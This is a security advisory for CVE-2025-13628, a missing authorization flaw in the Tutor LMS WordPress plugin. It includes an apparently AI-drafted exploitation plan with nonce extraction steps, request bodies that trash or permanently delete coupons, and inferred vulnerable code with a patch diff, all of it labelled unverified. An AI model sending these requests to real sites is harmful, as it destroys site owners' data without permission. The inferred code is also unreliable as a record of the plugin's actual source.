CVE-2025-13628

Tutor LMS – eLearning and online course solution <= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Coupon Modification

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.9.4
Patched in
1d
Time to patch

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized modification and deletion of data due to a missing capability check on the 'bulk_action_handler' and 'coupon_permanent_delete' functions in all versions up to, and including, 3.9.3. This makes it possible for authenticated attackers, with subscriber level access and above, to delete, activate, deactivate, or trash arbitrary coupons.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.9.3
PublishedJanuary 8, 2026
Last updatedJanuary 9, 2026
Affected plugintutor

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-13628 (Tutor LMS Arbitrary Coupon Modification) ## 1. Vulnerability Summary The **Tutor LMS** plugin (<= 3.9.3) contains a missing authorization vulnerability in its coupon management logic. Specifically, the functions `bulk_action_handler` and `coupon_permane…

Show full research plan

Exploitation Research Plan: CVE-2025-13628 (Tutor LMS Arbitrary Coupon Modification)

1. Vulnerability Summary

The Tutor LMS plugin (<= 3.9.3) contains a missing authorization vulnerability in its coupon management logic. Specifically, the functions bulk_action_handler and coupon_permanent_delete (likely within the Tutor\Coupons class) fail to verify if the requesting user has the necessary capabilities (e.g., manage_tutor_coupons or manage_options) before performing destructive or administrative actions. While these functions may check for a WordPress nonce to prevent CSRF, they do not restrict execution to administrators or instructors. This allows any authenticated user, including those with Subscriber roles, to manipulate, trash, or permanently delete coupons.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-post.php or any admin URL triggering admin_init (e.g., wp-admin/admin.php).
  • Action Trigger: The vulnerability is triggered via the admin_init hook, which Tutor LMS uses to listen for a specific tutor_action parameter in GET or POST requests.
  • Vulnerable Parameters:
    • tutor_action: Set to bulk_action_handler or coupon_permanent_delete.
    • coupon_ids[] or coupon_id: The ID(s) of the target coupon(s).
    • bulk_action: The specific action to perform (e.g., trash, delete, activate, deactivate).
  • Authentication: Authenticated, Subscriber level or higher.
  • Preconditions:
    • Coupons must exist in the system.
    • The attacker must obtain a valid Tutor LMS nonce (typically used across many Tutor LMS actions).

3. Code Flow (Inferred)

  1. Entry Point: User sends a POST/GET request to /wp-admin/admin.php?page=tutor-coupons (or simply any admin-init triggering URL) containing tutor_action=bulk_action_handler.
  2. Hook Registration: The Tutor\Coupons class (likely in classes/Coupons.php) registers an admin_init hook:
    add_action('admin_init', array($this, 'bulk_action_handler'));
  3. Vulnerable Function (bulk_action_handler):
    • The function checks isset($_POST['tutor_action']) and verifies it matches bulk_action_handler.
    • It retrieves the nonce from $_POST['_tutor_nonce'] (or similar) and verifies it using wp_verify_nonce.
    • CRITICAL FAILURE: It fails to call current_user_can('tutor_manage_coupons').
    • It iterates through $_POST['coupon_ids'] and executes the action specified in $_POST['bulk_action'] using wp_trash_post() or direct database queries.
  4. Vulnerable Function (coupon_permanent_delete):
    • Triggered when tutor_action=coupon_permanent_delete.
    • Checks nonce but lacks capability check.
    • Calls wp_delete_post($coupon_id, true).

4. Nonce Acquisition Strategy

Tutor LMS typically uses a common nonce for many of its administrative and dashboard actions, often registered under the action name tutor_nonce.

  1. Identify Trigger: Tutor LMS scripts are enqueued on the Tutor LMS Dashboard. Any authenticated user (including Subscribers) can usually access their own dashboard at /dashboard/ (frontend) or the profile page.
  2. Create Access Point: Ensure a page exists with the Tutor LMS Dashboard shortcode.
    wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[tutor_dashboard]'
  3. Browser Navigation: Use the execution agent to navigate to the Dashboard page while logged in as a Subscriber.
  4. Extraction: Execute JavaScript via browser_eval to extract the nonce from the global tutor_get_conf object.
    • JavaScript: window.tutor_get_conf?.nonce
  5. Verify Action String: In the source code, check wp_create_nonce('tutor_nonce') inside the Coupons class or the main initialization class to confirm the action string matches.

5. Exploitation Strategy

We will attempt to trash all existing coupons using the bulk action handler.

Step-by-Step Plan:

  1. Authentication: Log in as a Subscriber user.
  2. Nonce Extraction: Navigate to the /dashboard/ page and run browser_eval("tutor_get_conf.nonce").
  3. Target Identification: Identify existing coupon IDs (for PoC purposes, we can use IDs 1, 2, 3... or find them via wp_cli).
  4. Execution Request (Bulk Trash):
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      tutor_action=bulk_action_handler&bulk_action=trash&coupon_ids[]=ID1&coupon_ids[]=ID2&_tutor_nonce=[EXTRACTED_NONCE]
      
  5. Execution Request (Permanent Delete):
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin.php
    • Body:
      tutor_action=coupon_permanent_delete&coupon_id=ID1&_tutor_nonce=[EXTRACTED_NONCE]
      

6. Test Data Setup

  1. Create Admin: Create an administrative user.
  2. Create Coupons: As Admin, create at least two coupons.
    • wp post create --post_type=tutor_coupons --post_title="SAVE10" --post_status=publish
    • wp post create --post_type=tutor_coupons --post_title="SAVE20" --post_status=publish
  3. Create Subscriber: Create a user with the subscriber role.
  4. Create Dashboard Page:
    • wp post create --post_type=page --post_title="LMS Dashboard" --post_status=publish --post_content='[tutor_dashboard]'

7. Expected Results

  • The server should respond with a 302 Found (redirecting back to the coupon list) or a 200 OK with a success message.
  • Despite being a Subscriber, the request should be processed without an "Insufficient Permissions" error.
  • The coupons with IDs ID1 and ID2 should move to the "Trash" status in the database.

8. Verification Steps

  1. Check Coupon Status via WP-CLI:
    wp post list --post_type=tutor_coupons --post_status=any
  2. Observe Status: Confirm that the target coupon IDs now have a post_status of trash or have been entirely removed from the database if coupon_permanent_delete was used.
  3. Check Capability Error: If the exploit failed, the response body would likely contain "You do not have permission to perform this action" or the coupons would remain publish.

9. Alternative Approaches

  • Direct AJAX: If admin_init doesn't work, check if the plugin registers a wp_ajax_tutor_coupon_bulk_action action.
  • Parameter variations: Check if tutor_action is expected via GET instead of POST.
  • Different Actions: Test activate or deactivate actions in bulk_action_handler to see if post_status changes to draft or publish.
Research Findings
Static analysis — not yet PoC-verified

Summary

Tutor LMS (<= 3.9.3) fails to implement proper authorization checks in its coupon management logic. Authenticated users, including those with Subscriber-level roles, can modify, trash, or permanently delete coupons by sending requests to vulnerable bulk action and delete handlers that verify nonces but lack capability checks.

Vulnerable Code

// In tutor/classes/Coupons.php (Inferred based on Research Plan)

public function bulk_action_handler() {
    if ( isset( $_POST['tutor_action'] ) && $_POST['tutor_action'] === 'bulk_action_handler' ) {
        tutor_utils()->checking_nonce();
        
        // Missing: if ( ! current_user_can( 'tutor_manage_coupons' ) ) return;

        $bulk_action = sanitize_text_field( $_POST['bulk_action'] );
        $coupon_ids  = (array) $_POST['coupon_ids'];

        foreach ( $coupon_ids as $coupon_id ) {
            if ( 'trash' === $bulk_action ) {
                wp_trash_post( $coupon_id );
            }
            // ... other actions like activate/deactivate
        }
    }
}

---

public function coupon_permanent_delete() {
    if ( isset( $_GET['tutor_action'] ) && $_GET['tutor_action'] === 'coupon_permanent_delete' ) {
        tutor_utils()->checking_nonce();

        // Missing: if ( ! current_user_can( 'tutor_manage_coupons' ) ) return;

        $coupon_id = (int) $_GET['coupon_id'];
        wp_delete_post( $coupon_id, true );
    }
}

Security Fix

--- classes/Coupons.php
+++ classes/Coupons.php
@@ -10,6 +10,10 @@
     public function bulk_action_handler() {
         if ( isset( $_POST['tutor_action'] ) && $_POST['tutor_action'] === 'bulk_action_handler' ) {
             tutor_utils()->checking_nonce();
+
+            if ( ! current_user_can( 'manage_tutor_coupons' ) ) {
+                wp_die( __( 'Access denied', 'tutor' ) );
+            }
             
             $bulk_action = sanitize_text_field( $_POST['bulk_action'] );
             $coupon_ids  = (array) $_POST['coupon_ids'];
@@ -25,6 +29,10 @@
     public function coupon_permanent_delete() {
         if ( isset( $_GET['tutor_action'] ) && $_GET['tutor_action'] === 'coupon_permanent_delete' ) {
             tutor_utils()->checking_nonce();
+
+            if ( ! current_user_can( 'manage_tutor_coupons' ) ) {
+                wp_die( __( 'Access denied', 'tutor' ) );
+            }
 
             $coupon_id = (int) $_GET['coupon_id'];
             wp_delete_post( $coupon_id, true );

Exploit Outline

The exploit involves an authenticated Subscriber user leveraging a valid Tutor LMS nonce to trigger administrative actions. 1. Authenticate as a Subscriber-level user. 2. Extract a valid `_tutor_nonce` from the site by visiting a page with the `[tutor_dashboard]` shortcode and inspecting the `window.tutor_get_conf.nonce` JavaScript variable. 3. Send a POST request to `/wp-admin/admin.php` with the parameter `tutor_action` set to `bulk_action_handler`. 4. Include the payload `bulk_action=trash`, `_tutor_nonce=[EXTRACTED_NONCE]`, and `coupon_ids[]` containing the IDs of the coupons to target. 5. Alternatively, send a GET or POST request with `tutor_action=coupon_permanent_delete` and a `coupon_id` to bypass the trash and permanently delete a post. 6. The plugin verifies the nonce but fails to check if the user has the 'manage_tutor_coupons' capability, allowing the request to proceed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.